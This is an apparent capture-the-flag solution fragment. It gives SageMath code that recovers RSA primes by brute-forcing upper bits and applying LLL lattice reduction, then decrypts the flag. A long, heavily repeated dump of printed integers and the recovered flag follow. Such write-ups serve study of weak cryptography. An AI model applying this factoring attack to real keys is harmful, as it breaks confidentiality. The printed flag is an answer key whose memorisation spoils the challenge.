for p_upper_bits in range(16):
p_upper = p_upper_bits << 1020
for q_upper_bits in range(16):
q_upper = q_upper_bits << 1020
M = matrix(ZZ, [[S, -1, 0, 0], [S*z1, 0, -1, 0], [S*(z2 + p_upper + q_upper*z1), 0, 0, S], [S*n, 0, 0, 0]])
B = M.LLL()
for b in B:
if b[-1] == S:
if b[1] < 0:
b *= -1
p_guess = b[1] + p_upper
q_guess = b[2] + q_upper
print(p_guess)
if p_guess * q_guess == n:
print(666)
print(p_guess)
print(q_guess)
d = pow(e, -1, (p_guess - 1)*(q_guess - 1))
message = int(pow(c, d, n))
message_bytes = message.to_bytes((message.bit_length() + 7) // 8, 'big')
print(message_bytes)
运行结果
49857366166043558454167294398104864997062166330037551273459147490074527177210413699480439061912139952441845595958453998432412290539554643061281452053337032635253304901195312854664938198241202223502735757837345484541853028249458214346673200798730794779476538403017952272450828790343779918346741557018755372846
49857366166043558454167294398104864997062166330037551273459147490074527177210413699480439061912139952441845595958453998432412290539554643061281452053337032635253304901195312854664938198241202223502735757837345484541853028249458214346673200798730794779476538403017952272450828790343779918346741557018755372846
49857366166043558454167294398104864997062166330037551273459147490074527177210413699480439061912139952441845595958453998432412290539554643061281452053337032635253304901195312854664938198241202223502735757837345484541853028249458214346673200798730794779476538403017952272450828790343779918346741557018755372846
49857366166043558454167294398104864997062166330037551273459147490074527177210413699480439061912139952441845595958453998432412290539554643061281452053337032635253304901195312854664938198241202223502735757837345484541853028249458214346673200798730794779476538403017952272450828790343779918346741557018755372846
49857366166043558454167294398104864997062166330037551273459147490074527177210413699480439061912139952441845595958453998432412290539554643061281452053337032635253304901195312854664938198241202223502735757837345484541853028249458214346673200798730794779476538403017952272450828790343779918346741557018755372846
9839974079587657294582708451762484906354260195404343343016152324941298467859308165399613003993959991677719606434253414040455154590521084445481216467947052265571840515878099172408046058480733877119225417907430113911648359184750716773585790074736838714029005423685672644535539902425058361080970291972690210107
9839974079587657294582708451762484906354260195404343343016152324941298467859308165399613003993959991677719606434253414040455154590521084445481216467947052265571840515878099172408046058480733877119225417907430113911648359184750716773585790074736838714029005423685672644535539902425058361080970291972690210107
9839974079587657294582708451762484906354260195404343343016152324941298467859308165399613003993959991677719606434253414040455154590521084445481216467947052265571840515878099172408046058480733877119225417907430113911648359184750716773585790074736838714029005423685672644535539902425058361080970291972690210107
9839974079587657294582708451762484906354260195404343343016152324941298467859308165399613003993959991677719606434253414040455154590521084445481216467947052265571840515878099172408046058480733877119225417907430113911648359184750716773585790074736838714029005423685672644535539902425058361080970291972690210107
72328530351822507300783609282967674167286878566816383432637907634791111652898034091068998727213081955081859830942378168139761011641356720872887380883271298182474291579303498514202715648396963988434371126847971205646621863542266074530912339616334199424895352238591239552444234532653744456451161098221783389998
72328530351822507300783609282967674167286878566816383432637907634791111652898034091068998727213081955081859830942378168139761011641356720872887380883271298182474291579303498514202715648396963988434371126847971205646621863542266074530912339616334199424895352238591239552444234532653744456451161098221783389998
72328530351822507300783609282967674167286878566816383432637907634791111652898034091068998727213081955081859830942378168139761011641356720872887380883271298182474291579303498514202715648396963988434371126847971205646621863542266074530912339616334199424895352238591239552444234532653744456451161098221783389998
72328530351822507300783609282967674167286878566816383432637907634791111652898034091068998727213081955081859830942378168139761011641356720872887380883271298182474291579303498514202715648396963988434371126847971205646621863542266074530912339616334199424895352238591239552444234532653744456451161098221783389998
72328530351822507300783609282967674167286878566816383432637907634791111652898034091068998727213081955081859830942378168139761011641356720872887380883271298182474291579303498514202715648396963988434371126847971205646621863542266074530912339616334199424895352238591239552444234532653744456451161098221783389998
72328530351822507300783609282967674167286878566816383432637907634791111652898034091068998727213081955081859830942378168139761011641356720872887380883271298182474291579303498514202715648396963988434371126847971205646621863542266074530912339616334199424895352238591239552444234532653744456451161098221783389998
32311138265366606141199023336625294076578972432183175502194912469657882943546928556988172669294901994317733841418177583747803875692323162257087145297881317812792827193986284831945823508636495642050860786918055835016417194477558576957824928892340243359447819259258959924528945644735022899185389833175718227259
32311138265366606141199023336625294076578972432183175502194912469657882943546928556988172669294901994317733841418177583747803875692323162257087145297881317812792827193986284831945823508636495642050860786918055835016417194477558576957824928892340243359447819259258959924528945644735022899185389833175718227259
32311138265366606141199023336625294076578972432183175502194912469657882943546928556988172669294901994317733841418177583747803875692323162257087145297881317812792827193986284831945823508636495642050860786918055835016417194477558576957824928892340243359447819259258959924528945644735022899185389833175718227259
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
54782302451145554987815338221488103246803684668962007661373672614374467419234548948576732334595843996957748076402101753455152596794125240068693074127815583360013813872094470491483600958792257406982496155928681556121186029770366437142064067709943648004866633094832247204522351387044987437289809374378746244411
54782302451145554987815338221488103246803684668962007661373672614374467419234548948576732334595843996957748076402101753455152596794125240068693074127815583360013813872094470491483600958792257406982496155928681556121186029770366437142064067709943648004866633094832247204522351387044987437289809374378746244411
54782302451145554987815338221488103246803684668962007661373672614374467419234548948576732334595843996957748076402101753455152596794125240068693074127815583360013813872094470491483600958792257406982496155928681556121186029770366437142064067709943648004866633094832247204522351387044987437289809374378746244411
54782302451145554987815338221488103246803684668962007661373672614374467419234548948576732334595843996957748076402101753455152596794125240068693074127815583360013813872094470491483600958792257406982496155928681556121186029770366437142064067709943648004866633094832247204522351387044987437289809374378746244411
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
77253466636924503834431653106350912417028396905740839820552432759091051894922169340165291999896785999597762311386025923162501317895927317880299002957749848907234800550202656151021378408948019171914131524939307277225954865063174297326303206527547052650285446930405534484515757129354951975394228915581774261563
77253466636924503834431653106350912417028396905740839820552432759091051894922169340165291999896785999597762311386025923162501317895927317880299002957749848907234800550202656151021378408948019171914131524939307277225954865063174297326303206527547052650285446930405534484515757129354951975394228915581774261563
77253466636924503834431653106350912417028396905740839820552432759091051894922169340165291999896785999597762311386025923162501317895927317880299002957749848907234800550202656151021378408948019171914131524939307277225954865063174297326303206527547052650285446930405534484515757129354951975394228915581774261563
77253466636924503834431653106350912417028396905740839820552432759091051894922169340165291999896785999597762311386025923162501317895927317880299002957749848907234800550202656151021378408948019171914131524939307277225954865063174297326303206527547052650285446930405534484515757129354951975394228915581774261563
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
99724630822703452681047967991213721587253109142519671979731192903807636370609789731753851665197728002237776546369950092869850038997729395691904931787684114454455787228310841810559155859103780936845766893949932998330723700355982157510542345345150457295704260765978821764509162871664916513498648456784802278715
99724630822703452681047967991213721587253109142519671979731192903807636370609789731753851665197728002237776546369950092869850038997729395691904931787684114454455787228310841810559155859103780936845766893949932998330723700355982157510542345345150457295704260765978821764509162871664916513498648456784802278715
99724630822703452681047967991213721587253109142519671979731192903807636370609789731753851665197728002237776546369950092869850038997729395691904931787684114454455787228310841810559155859103780936845766893949932998330723700355982157510542345345150457295704260765978821764509162871664916513498648456784802278715
122195795008482401527664282876076530757477821379298504138909953048524220846297410123342411330498670004877790781353874262577198760099531473503510860617618380001676773906419027470096933309259542701777402262960558719435492535648790017694781484162753861941123074601552109044502568613974881051603067997987830295867
122195795008482401527664282876076530757477821379298504138909953048524220846297410123342411330498670004877790781353874262577198760099531473503510860617618380001676773906419027470096933309259542701777402262960558719435492535648790017694781484162753861941123074601552109044502568613974881051603067997987830295867
122195795008482401527664282876076530757477821379298504138909953048524220846297410123342411330498670004877790781353874262577198760099531473503510860617618380001676773906419027470096933309259542701777402262960558719435492535648790017694781484162753861941123074601552109044502568613974881051603067997987830295867
122195795008482401527664282876076530757477821379298504138909953048524220846297410123342411330498670004877790781353874262577198760099531473503510860617618380001676773906419027470096933309259542701777402262960558719435492535648790017694781484162753861941123074601552109044502568613974881051603067997987830295867
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
666
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
171656660665403765738031081824875339142040216917035829027175959644968598469497472331153755626091317314219661980132136551775230700283513247877337805935248792200809930483659957679825478739707821552518426177878428742937912850019804844395502428151318188402429797244319960066986182724904794027618050562615218050411
b'flag{3z_r5a_15_r34lly_345y_w1sh_u_c0uld_g3t_f14g}xcbxdfrx1fxf6Ex04 x83_Uxe5Ixefx82xdex8axe4px95R*x89.1<xc2x9d[OU#x19 x0fx0eQxe9xaax83xb1xfeG8x99yB`x04xecxa9x13x85@xb1Rx97hxb4xfdxaa]pyxdfx87x08xafxf6xdafx0bx00xf2x0cxc9l8x03'
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
666
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
171656660665403765738031081824875339142040216917035829027175959644968598469497472331153755626091317314219661980132136551775230700283513247877337805935248792200809930483659957679825478739707821552518426177878428742937912850019804844395502428151318188402429797244319960066986182724904794027618050562615218050411
b'flag{3z_r5a_15_r34lly_345y_w1sh_u_c0uld_g3t_f14g}xcbxdfrx1fxf6Ex04 x83_Uxe5Ixefx82xdex8axe4px95R*x89.1<xc2x9d[OU#x19 x0fx0eQxe9xaax83xb1xfeG8x99yB`x04xecxa9x13x85@xb1Rx97hxb4xfdxaa]pyxdfx87x08xafxf6xdafx0bx00xf2x0cxc9l8x03'
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
666
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
171656660665403765738031081824875339142040216917035829027175959644968598469497472331153755626091317314219661980132136551775230700283513247877337805935248792200809930483659957679825478739707821552518426177878428742937912850019804844395502428151318188402429797244319960066986182724904794027618050562615218050411
b'flag{3z_r5a_15_r34lly_345y_w1sh_u_c0uld_g3t_f14g}xcbxdfrx1fxf6Ex04 x83_Uxe5Ixefx82xdex8axe4px95R*x89.1<xc2x9d[OU#x19 x0fx0eQxe9xaax83xb1xfeG8x99yB`x04xecxa9x13x85@xb1Rx97hxb4xfdxaa]pyxdfx87x08xafxf6xdafx0bx00xf2x0cxc9l8x03'
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
84172455035203603529547010195215667686762898358966436489853559951601181892777443418789199180434272089625372105292354666779537497224023040414296774003669446272712762749586733442000010879952189080387923707194705596408079461301359449197459147899411395868331232419015518519079507626412699975684507153184920147168
95596858451027987243383508883686805675034799535264220783576521206131493912723519713919278141973263931494741774579038690879252271590393582078550656635804678105055130675278751834302208721293905039065159244890300172430071221041103432276453962641415841295019278265570779720867738312067016329150849176439303990048
95596858451027987243383508883686805675034799535264220783576521206131493912723519713919278141973263931494741774579038690879252271590393582078550656635804678105055130675278751834302208721293905039065159244890300172430071221041103432276453962641415841295019278265570779720867738312067016329150849176439303990048
95596858451027987243383508883686805675034799535264220783576521206131493912723519713919278141973263931494741774579038690879252271590393582078550656635804678105055130675278751834302208721293905039065159244890300172430071221041103432276453962641415841295019278265570779720867738312067016329150849176439303990048
95596858451027987243383508883686805675034799535264220783576521206131493912723519713919278141973263931494741774579038690879252271590393582078550656635804678105055130675278751834302208721293905039065159244890300172430071221041103432276453962641415841295019278265570779720867738312067016329150849176439303990048
95596858451027987243383508883686805675034799535264220783576521206131493912723519713919278141973263931494741774579038690879252271590393582078550656635804678105055130675278751834302208721293905039065159244890300172430071221041103432276453962641415841295019278265570779720867738312067016329150849176439303990048
95596858451027987243383508883686805675034799535264220783576521206131493912723519713919278141973263931494741774579038690879252271590393582078550656635804678105055130675278751834302208721293905039065159244890300172430071221041103432276453962641415841295019278265570779720867738312067016329150849176439303990048
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
666
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
171656660665403765738031081824875339142040216917035829027175959644968598469497472331153755626091317314219661980132136551775230700283513247877337805935248792200809930483659957679825478739707821552518426177878428742937912850019804844395502428151318188402429797244319960066986182724904794027618050562615218050411
b'flag{3z_r5a_15_r34lly_345y_w1sh_u_c0uld_g3t_f14g}xcbxdfrx1fxf6Ex04 x83_Uxe5Ixefx82xdex8axe4px95R*x89.1<xc2x9d[OU#x19 x0fx0eQxe9xaax83xb1xfeG8x99yB`x04xecxa9x13x85@xb1Rx97hxb4xfdxaa]pyxdfx87x08xafxf6xdafx0bx00xf2x0cxc9l8x03'
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
666
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
171656660665403765738031081824875339142040216917035829027175959644968598469497472331153755626091317314219661980132136551775230700283513247877337805935248792200809930483659957679825478739707821552518426177878428742937912850019804844395502428151318188402429797244319960066986182724904794027618050562615218050411
b'flag{3z_r5a_15_r34lly_345y_w1sh_u_c0uld_g3t_f14g}xcbxdfrx1fxf6Ex04 x83_Uxe5Ixefx82xdex8axe4px95R*x89.1<xc2x9d[OU#x19 x0fx0eQxe9xaax83xb1xfeG8x99yB`x04xecxa9x13x85@xb1Rx97hxb4xfdxaa]pyxdfx87x08xafxf6xdafx0bx00xf2x0cxc9l8x03'
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
666
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
171656660665403765738031081824875339142040216917035829027175959644968598469497472331153755626091317314219661980132136551775230700283513247877337805935248792200809930483659957679825478739707821552518426177878428742937912850019804844395502428151318188402429797244319960066986182724904794027618050562615218050411
b'flag{3z_r5a_15_r34lly_345y_w1sh_u_c0uld_g3t_f14g}xcbxdfrx1fxf6Ex04 x83_Uxe5Ixefx82xdex8axe4px95R*x89.1<xc2x9d[OU#x19 x0fx0eQxe9xaax83xb1xfeG8x99yB`x04xecxa9x13x85@xb1Rx97hxb4xfdxaa]pyxdfx87x08xafxf6xdafx0bx00xf2x0cxc9l8x03'
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
666
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
171656660665403765738031081824875339142040216917035829027175959644968598469497472331153755626091317314219661980132136551775230700283513247877337805935248792200809930483659957679825478739707821552518426177878428742937912850019804844395502428151318188402429797244319960066986182724904794027618050562615218050411
b'flag{3z_r5a_15_r34lly_345y_w1sh_u_c0uld_g3t_f14g}xcbxdfrx1fxf6Ex04 x83_Uxe5Ixefx82xdex8axe4px95R*x89.1<xc2x9d[OU#x19 x0fx0eQxe9xaax83xb1xfeG8x99yB`x04xecxa9x13x85@xb1Rx97hxb4xfdxaa]pyxdfx87x08xafxf6xdafx0bx00xf2x0cxc9l8x03'
118068022636806936089999823768549614845259511772043052942755281350848078388411140105507837807274205934134756009562962860586600992692195659890156585465738943652276117353386937493839986171449666803996794613900925893534840056333911292460693101459019245940438092101144067000861144054376980867255268717642332007200
118068022636806936089999823768549614845259511772043052942755281350848078388411140105507837807274205934134756009562962860586600992692195659890156585465738943652276117353386937493839986171449666803996794613900925893534840056333911292460693101459019245940438092101144067000861144054376980867255268717642332007200
118068022636806936089999823768549614845259511772043052942755281350848078388411140105507837807274205934134756009562962860586600992692195659890156585465738943652276117353386937493839986171449666803996794613900925893534840056333911292460693101459019245940438092101144067000861144054376980867255268717642332007200
118068022636806936089999823768549614845259511772043052942755281350848078388411140105507837807274205934134756009562962860586600992692195659890156585465738943652276117353386937493839986171449666803996794613900925893534840056333911292460693101459019245940438092101144067000861144054376980867255268717642332007200
118068022636806936089999823768549614845259511772043052942755281350848078388411140105507837807274205934134756009562962860586600992692195659890156585465738943652276117353386937493839986171449666803996794613900925893534840056333911292460693101459019245940438092101144067000861144054376980867255268717642332007200
118068022636806936089999823768549614845259511772043052942755281350848078388411140105507837807274205934134756009562962860586600992692195659890156585465738943652276117353386937493839986171449666803996794613900925893534840056333911292460693101459019245940438092101144067000861144054376980867255268717642332007200
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
666
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
171656660665403765738031081824875339142040216917035829027175959644968598469497472331153755626091317314219661980132136551775230700283513247877337805935248792200809930483659957679825478739707821552518426177878428742937912850019804844395502428151318188402429797244319960066986182724904794027618050562615218050411
b'flag{3z_r5a_15_r34lly_345y_w1sh_u_c0uld_g3t_f14g}xcbxdfrx1fxf6Ex04 x83_Uxe5Ixefx82xdex8axe4px95R*x89.1<xc2x9d[OU#x19 x0fx0eQxe9xaax83xb1xfeG8x99yB`x04xecxa9x13x85@xb1Rx97hxb4xfdxaa]pyxdfx87x08xafxf6xdafx0bx00xf2x0cxc9l8x03'
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
666
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
171656660665403765738031081824875339142040216917035829027175959644968598469497472331153755626091317314219661980132136551775230700283513247877337805935248792200809930483659957679825478739707821552518426177878428742937912850019804844395502428151318188402429797244319960066986182724904794027618050562615218050411
b'flag{3z_r5a_15_r34lly_345y_w1sh_u_c0uld_g3t_f14g}xcbxdfrx1fxf6Ex04 x83_Uxe5Ixefx82xdex8axe4px95R*x89.1<xc2x9d[OU#x19 x0fx0eQxe9xaax83xb1xfeG8x99yB`x04xecxa9x13x85@xb1Rx97hxb4xfdxaa]pyxdfx87x08xafxf6xdafx0bx00xf2x0cxc9l8x03'
140539186822585884936616138653412424015484224008821885101934041495564662864098760497096397472575147936774770244546887030293949713793997737701762514295673209199497104031495123153377763621605428568928429982911551614639608891626719152644932240276622650585856905936717354280854549796686945405359688258845360024352
140539186822585884936616138653412424015484224008821885101934041495564662864098760497096397472575147936774770244546887030293949713793997737701762514295673209199497104031495123153377763621605428568928429982911551614639608891626719152644932240276622650585856905936717354280854549796686945405359688258845360024352
140539186822585884936616138653412424015484224008821885101934041495564662864098760497096397472575147936774770244546887030293949713793997737701762514295673209199497104031495123153377763621605428568928429982911551614639608891626719152644932240276622650585856905936717354280854549796686945405359688258845360024352
140539186822585884936616138653412424015484224008821885101934041495564662864098760497096397472575147936774770244546887030293949713793997737701762514295673209199497104031495123153377763621605428568928429982911551614639608891626719152644932240276622650585856905936717354280854549796686945405359688258845360024352
140539186822585884936616138653412424015484224008821885101934041495564662864098760497096397472575147936774770244546887030293949713793997737701762514295673209199497104031495123153377763621605428568928429982911551614639608891626719152644932240276622650585856905936717354280854549796686945405359688258845360024352
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
666
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
171656660665403765738031081824875339142040216917035829027175959644968598469497472331153755626091317314219661980132136551775230700283513247877337805935248792200809930483659957679825478739707821552518426177878428742937912850019804844395502428151318188402429797244319960066986182724904794027618050562615218050411
b'flag{3z_r5a_15_r34lly_345y_w1sh_u_c0uld_g3t_f14g}xcbxdfrx1fxf6Ex04 x83_Uxe5Ixefx82xdex8axe4px95R*x89.1<xc2x9d[OU#x19 x0fx0eQxe9xaax83xb1xfeG8x99yB`x04xecxa9x13x85@xb1Rx97hxb4xfdxaa]pyxdfx87x08xafxf6xdafx0bx00xf2x0cxc9l8x03'
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
666
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
171656660665403765738031081824875339142040216917035829027175959644968598469497472331153755626091317314219661980132136551775230700283513247877337805935248792200809930483659957679825478739707821552518426177878428742937912850019804844395502428151318188402429797244319960066986182724904794027618050562615218050411
b'flag{3z_r5a_15_r34lly_345y_w1sh_u_c0uld_g3t_f14g}xcbxdfrx1fxf6Ex04 x83_Uxe5Ixefx82xdex8axe4px95R*x89.1<xc2x9d[OU#x19 x0fx0eQxe9xaax83xb1xfeG8x99yB`x04xecxa9x13x85@xb1Rx97hxb4xfdxaa]pyxdfx87x08xafxf6xdafx0bx00xf2x0cxc9l8x03'
163010351008364833783232453538275233185708936245600717261112801640281247339786380888684957137876089939414784479530811200001298434895799815513368443125607474746718090709603308812915541071761190333860065351922177335744377726919527012829171379094226055231275719772290641560847955538996909943464107800048388041504
163010351008364833783232453538275233185708936245600717261112801640281247339786380888684957137876089939414784479530811200001298434895799815513368443125607474746718090709603308812915541071761190333860065351922177335744377726919527012829171379094226055231275719772290641560847955538996909943464107800048388041504
163010351008364833783232453538275233185708936245600717261112801640281247339786380888684957137876089939414784479530811200001298434895799815513368443125607474746718090709603308812915541071761190333860065351922177335744377726919527012829171379094226055231275719772290641560847955538996909943464107800048388041504
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
666
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
171656660665403765738031081824875339142040216917035829027175959644968598469497472331153755626091317314219661980132136551775230700283513247877337805935248792200809930483659957679825478739707821552518426177878428742937912850019804844395502428151318188402429797244319960066986182724904794027618050562615218050411
b'flag{3z_r5a_15_r34lly_345y_w1sh_u_c0uld_g3t_f14g}xcbxdfrx1fxf6Ex04 x83_Uxe5Ixefx82xdex8axe4px95R*x89.1<xc2x9d[OU#x19 x0fx0eQxe9xaax83xb1xfeG8x99yB`x04xecxa9x13x85@xb1Rx97hxb4xfdxaa]pyxdfx87x08xafxf6xdafx0bx00xf2x0cxc9l8x03'
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
666
124189847121659504689131596141558047777470804493599644420296555116734410602128548952870025238352452050389498094816555251171494633173056599030097009589059426642394227134903947124256903019712657426771434047124620967038284130366066946770546558623405351933778765398347798146994796514331421532950278418230985309907
171656660665403765738031081824875339142040216917035829027175959644968598469497472331153755626091317314219661980132136551775230700283513247877337805935248792200809930483659957679825478739707821552518426177878428742937912850019804844395502428151318188402429797244319960066986182724904794027618050562615218050411
